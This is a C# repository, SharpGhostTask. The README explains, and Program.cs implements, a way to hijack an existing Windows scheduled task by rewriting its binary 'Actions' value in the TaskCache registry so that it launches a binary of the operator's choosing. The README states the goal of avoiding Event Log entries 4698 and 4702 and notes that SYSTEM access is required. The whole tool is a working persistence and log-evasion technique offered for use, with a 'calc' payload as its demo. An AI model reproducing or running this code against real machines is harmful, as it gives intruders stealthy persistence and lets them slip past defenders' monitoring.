├── SharpGhostTask
├── App.config
├── Properties
│ └── AssemblyInfo.cs
├── SharpGhostTask.csproj
└── Program.cs
├── SharpGhostTask.sln
└── README.md
/SharpGhostTask/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/SharpGhostTask/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // General Information about an assembly is controlled through the following
6 | // set of attributes. Change these attribute values to modify the information
7 | // associated with an assembly.
8 | [assembly: AssemblyTitle("SharpGhostTask")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("SharpGhostTask")]
13 | [assembly: AssemblyCopyright("Copyright © 2024")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Setting ComVisible to false makes the types in this assembly not visible
18 | // to COM components. If you need to access a type in this assembly from
19 | // COM, set the ComVisible attribute to true on that type.
20 | [assembly: ComVisible(false)]
21 |
22 | // The following GUID is for the ID of the typelib if this project is exposed to COM
23 | [assembly: Guid("1a8c9bd8-1800-46b0-8e22-7d3823c68366")]
24 |
25 | // Version information for an assembly consists of the following four values:
26 | //
27 | // Major Version
28 | // Minor Version
29 | // Build Number
30 | // Revision
31 | //
32 | // You can specify all the values or you can default the Build and Revision Numbers
33 | // by using the '*' as shown below:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/SharpGhostTask.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.7.34031.279
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpGhostTask", "SharpGhostTask\SharpGhostTask.csproj", "{1A8C9BD8-1800-46B0-8E22-7D3823C68366}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Debug|x64 = Debug|x64
12 | Debug|x86 = Debug|x86
13 | Release|Any CPU = Release|Any CPU
14 | Release|x64 = Release|x64
15 | Release|x86 = Release|x86
16 | EndGlobalSection
17 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
18 | {1A8C9BD8-1800-46B0-8E22-7D3823C68366}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
19 | {1A8C9BD8-1800-46B0-8E22-7D3823C68366}.Debug|Any CPU.Build.0 = Debug|Any CPU
20 | {1A8C9BD8-1800-46B0-8E22-7D3823C68366}.Debug|x64.ActiveCfg = Debug|x64
21 | {1A8C9BD8-1800-46B0-8E22-7D3823C68366}.Debug|x64.Build.0 = Debug|x64
22 | {1A8C9BD8-1800-46B0-8E22-7D3823C68366}.Debug|x86.ActiveCfg = Debug|x86
23 | {1A8C9BD8-1800-46B0-8E22-7D3823C68366}.Debug|x86.Build.0 = Debug|x86
24 | {1A8C9BD8-1800-46B0-8E22-7D3823C68366}.Release|Any CPU.ActiveCfg = Release|Any CPU
25 | {1A8C9BD8-1800-46B0-8E22-7D3823C68366}.Release|Any CPU.Build.0 = Release|Any CPU
26 | {1A8C9BD8-1800-46B0-8E22-7D3823C68366}.Release|x64.ActiveCfg = Release|x64
27 | {1A8C9BD8-1800-46B0-8E22-7D3823C68366}.Release|x64.Build.0 = Release|x64
28 | {1A8C9BD8-1800-46B0-8E22-7D3823C68366}.Release|x86.ActiveCfg = Release|x86
29 | {1A8C9BD8-1800-46B0-8E22-7D3823C68366}.Release|x86.Build.0 = Release|x86
30 | EndGlobalSection
31 | GlobalSection(SolutionProperties) = preSolution
32 | HideSolutionNode = FALSE
33 | EndGlobalSection
34 | GlobalSection(ExtensibilityGlobals) = postSolution
35 | SolutionGuid = {E66BD642-7996-45AD-8BDA-748A48E79BD6}
36 | EndGlobalSection
37 | EndGlobal
38 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # SharpGhostTask
2 | A C# port from Invoke-GhostTask
3 |
4 | ## Description
5 |
6 | Tampering with Scheduled Task has been known and already worked with, in simply editing the tasks using the GUI interface or just the schtasks command when this happens they will leave an EventLog behind (4698)
7 |
8 | 
9 |
10 | When editing a task this will also leave an EventLog behind (4702) we can see in the screenshot below that there was an update on a Task
11 |
12 | 
13 |
14 | Scheduled Tasks can be edited in a more complicated way via the Registry Keys, that's where [Invoke-GhostTask](https://gist.github.com/Workingdaturah/991de2d176b4b8c8bafd29cc957e20c2) by [@SchrodingersAV](https://twitter.com/SchrodingersAV) comes in handy. SharpGhostTask basically uses the method from Invoke-GhostTask to edit the Registry Keys manipulating the binary values of the Task that is targetted.
15 |
16 | We can see below how this looks in the Registry Keys
17 |
18 | 
19 |
20 | SharpGhostTask will replace the binary value without breaking the rest of the Scheduled Task. This way replacing it with a payload that we control, in the following example we see the replaced binary value this time pointing to ```calc```
21 |
22 | 
23 |
24 | By replacing this value via Registry Keys we also avoid the (4702) log from the Event Viewer, but monitoring the Registry Keys can be a giveaway. And this also comes with Challenges you will need SYSTEM Access to be able to edit these Registry Key Tasks. I've had luck executing the Task once it was changed, but to be safe a Restart is required.
25 |
26 | ## Demo
27 |
28 | 
29 |
30 |
31 |
--------------------------------------------------------------------------------
/SharpGhostTask/SharpGhostTask.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {1A8C9BD8-1800-46B0-8E22-7D3823C68366}
8 | Exe
9 | SharpGhostTask
10 | SharpGhostTask
11 | v4.8
12 | 512
13 | true
14 | true
15 |
16 |
17 | AnyCPU
18 | false
19 | none
20 | false
21 | bin\Debug\
22 | DEBUG;TRACE
23 | none
24 | 4
25 |
26 |
27 | AnyCPU
28 | pdbonly
29 | true
30 | bin\Release\
31 | TRACE
32 | prompt
33 | 4
34 |
35 |
36 | false
37 | bin\x64\Debug\
38 | DEBUG;TRACE
39 | none
40 | x64
41 | 7.3
42 | none
43 | true
44 |
45 |
46 | bin\x64\Release\
47 | TRACE
48 | true
49 | none
50 | x64
51 | 7.3
52 | none
53 | true
54 |
55 |
56 | false
57 | bin\x86\Debug\
58 | DEBUG;TRACE
59 | none
60 | x86
61 | 7.3
62 | none
63 | true
64 |
65 |
66 | bin\x86\Release\
67 | TRACE
68 | true
69 | pdbonly
70 | x86
71 | 7.3
72 | prompt
73 | true
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
--------------------------------------------------------------------------------
/SharpGhostTask/Program.cs:
--------------------------------------------------------------------------------
1 | using Microsoft.Win32;
2 | using System;
3 | using System.IO;
4 | using System.Linq;
5 | using System.Text;
6 | using System.Threading;
7 |
8 | namespace SharpGhostTask
9 | {
10 | class Program
11 | {
12 | static void Main(string[] args)
13 | {
14 | if (args.Length < 1)
15 | {
16 | Console.WriteLine("Usage: SharpGhostTask.exe --showtasks OR SharpGhostTask.exe --targettask [TargetTaskName] --targetbinary [Binary to point to] --help [To show this help menu]");
17 | return;
18 | }
19 |
20 | string targetTask = null;
21 | string targetBinary = null;
22 |
23 | for (int i = 0; i < args.Length; i++)
24 | {
25 | if (args[i].ToLower() == "--showtasks")
26 | {
27 | ShowTasks();
28 | return;
29 | }
30 | else if (args[i].ToLower() == "--help")
31 | {
32 | Help();
33 | return;
34 | }
35 | else if (args[i].ToLower() == "--targetbinary" && i + 1 < args.Length)
36 | {
37 | targetBinary = args[i + 1];
38 | i++;
39 | }
40 | else if (args[i].ToLower() == "--targettask" && i + 1 < args.Length)
41 | {
42 | targetTask = args[i + 1];
43 | i++;
44 | }
45 | }
46 |
47 | if (!string.IsNullOrEmpty(targetTask))
48 | {
49 | // Handle the case when --targettask is specified
50 | GhostTask(targetTask, targetBinary);
51 | }
52 | else
53 | {
54 |
55 | }
56 |
57 | void GhostTask(string Task, string targetB)
58 | {
59 | // Ghost Scheduled Tasks
60 | Console.ForegroundColor = ConsoleColor.Green;
61 | Console.WriteLine(@"
62 | .-.
63 | (o o) boo!
64 | | O \
65 | \ \
66 | `~~~'
67 | ");
68 | string targetPath = $"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tree\\{Task}";
69 |
70 | Console.WriteLine($"Ghosting Task {Task}");
71 |
72 | string idValue = GetIdValue(targetPath);
73 |
74 | // Start Ghosting
75 |
76 | // Specify the registry path
77 | string registryKeyPath = $"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tasks\\{idValue}";
78 |
79 | // Specify the name of the registry entry
80 | string valueName = "Actions";
81 |
82 | //Display
83 | //DisplayKeyValues(registryKeyPath);
84 |
85 | // Specify the string value
86 | string stringValue = targetBinary;
87 |
88 | // Count how many characters
89 | int characterCount = stringValue.Length * 2;
90 |
91 | // Filler Decimal Values
92 | byte[] magicBytes1 = { 3, 0, 12, 0, 0, 0, 65, 0, 117, 0, 116, 0, 104, 0, 111, 0, 114, 0, 102, 102, 0, 0, 0, 0, 0, 0, 0, 0 };
93 |
94 | // Find and replace the value of the 24 decimal location with a new value
95 | byte[] characterCountBytes = BitConverter.GetBytes(characterCount);
96 | Array.Copy(characterCountBytes, 0, magicBytes1, 24, characterCountBytes.Length);
97 |
98 | // Empty Values
99 | byte[] magicBytes2 = new byte[10];
100 |
101 | // Convert the string to a byte array
102 | byte[] binaryDataFromString = System.Text.Encoding.Unicode.GetBytes(stringValue);
103 |
104 | // Concatenate the filler and binary data arrays
105 | byte[] combinedBinaryData = magicBytes1.Concat(binaryDataFromString).Concat(magicBytes2).ToArray();
106 |
107 | int totalSteps = 10;
108 |
109 | for (int i = 0; i <= totalSteps; i++)
110 | {
111 | UpdateProgressBar(i, totalSteps);
112 | // Fake progress for niceness
113 | Thread.Sleep(500);
114 | }
115 | Console.WriteLine("");
116 | // Create the registry entry with REG_BINARY value
117 | SetRegistryValue(registryKeyPath, valueName, combinedBinaryData);
118 | Console.WriteLine("Ghosted!!!");
119 |
120 | Console.ForegroundColor = ConsoleColor.Gray;
121 | }
122 |
123 | void UpdateProgressBar(int currentStep, int totalSteps)
124 | {
125 | Console.Write("\r[");
126 | int progress = currentStep * 100 / totalSteps;
127 |
128 | for (int j = 0; j < 50; j++)
129 | {
130 | if (j < progress / 2)
131 | Console.Write("#");
132 | else
133 | Console.Write(" ");
134 | }
135 |
136 | Console.Write($"] {progress}%");
137 | }
138 |
139 | void SetRegistryValue(string keyPath, string valueName, byte[] valueData)
140 | {
141 | try
142 | {
143 | using (RegistryKey key = Registry.LocalMachine.OpenSubKey(keyPath, true))
144 | {
145 | if (key != null)
146 | {
147 | // Set the registry value for the "Actions" key
148 | key.SetValue(valueName, valueData, RegistryValueKind.Binary);
149 | //Console.WriteLine($"Registry value '{valueName}' set successfully.");
150 | }
151 | else
152 | {
153 | Console.WriteLine($"Registry key '{keyPath}' not found.");
154 | }
155 | }
156 | }
157 | catch (Exception ex)
158 | {
159 | Console.WriteLine($"An error occurred: {ex.Message}");
160 | }
161 | }
162 |
163 | string GetIdValue(string registryPath)
164 | {
165 | RegistryKey key = Registry.LocalMachine.OpenSubKey(registryPath);
166 |
167 | if (key != null)
168 | {
169 | // Retrieve the value of the "Id" key
170 | return key.GetValue("Id")?.ToString();
171 | }
172 | else
173 | {
174 | Console.WriteLine($"Registry path '{registryPath}' not found.");
175 | return null;
176 | }
177 | }
178 |
179 | //Find Tasks
180 | void ShowTasks()
181 | {
182 | RegistryKey tasksKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tree");
183 |
184 | if (tasksKey != null)
185 | {
186 | string[] taskNames = tasksKey.GetSubKeyNames();
187 |
188 | if (taskNames.Length > 0)
189 | {
190 | Console.WriteLine("Available Tasks:");
191 | foreach (var taskName in taskNames)
192 | {
193 | Console.WriteLine(taskName);
194 | }
195 | }
196 | else
197 | {
198 | Console.WriteLine("No tasks found.");
199 | }
200 | }
201 | }
202 |
203 | void Help()
204 | {
205 | Console.WriteLine("Usage: SharpGhostTask.exe --showtasks OR SharpGhostTask.exe --targettask [TargetTaskName] --targetbinary [Binary to point to] --help [To show this help menu]");
206 | return;
207 | }
208 | }
209 | }
210 | }
211 |
--------------------------------------------------------------------------------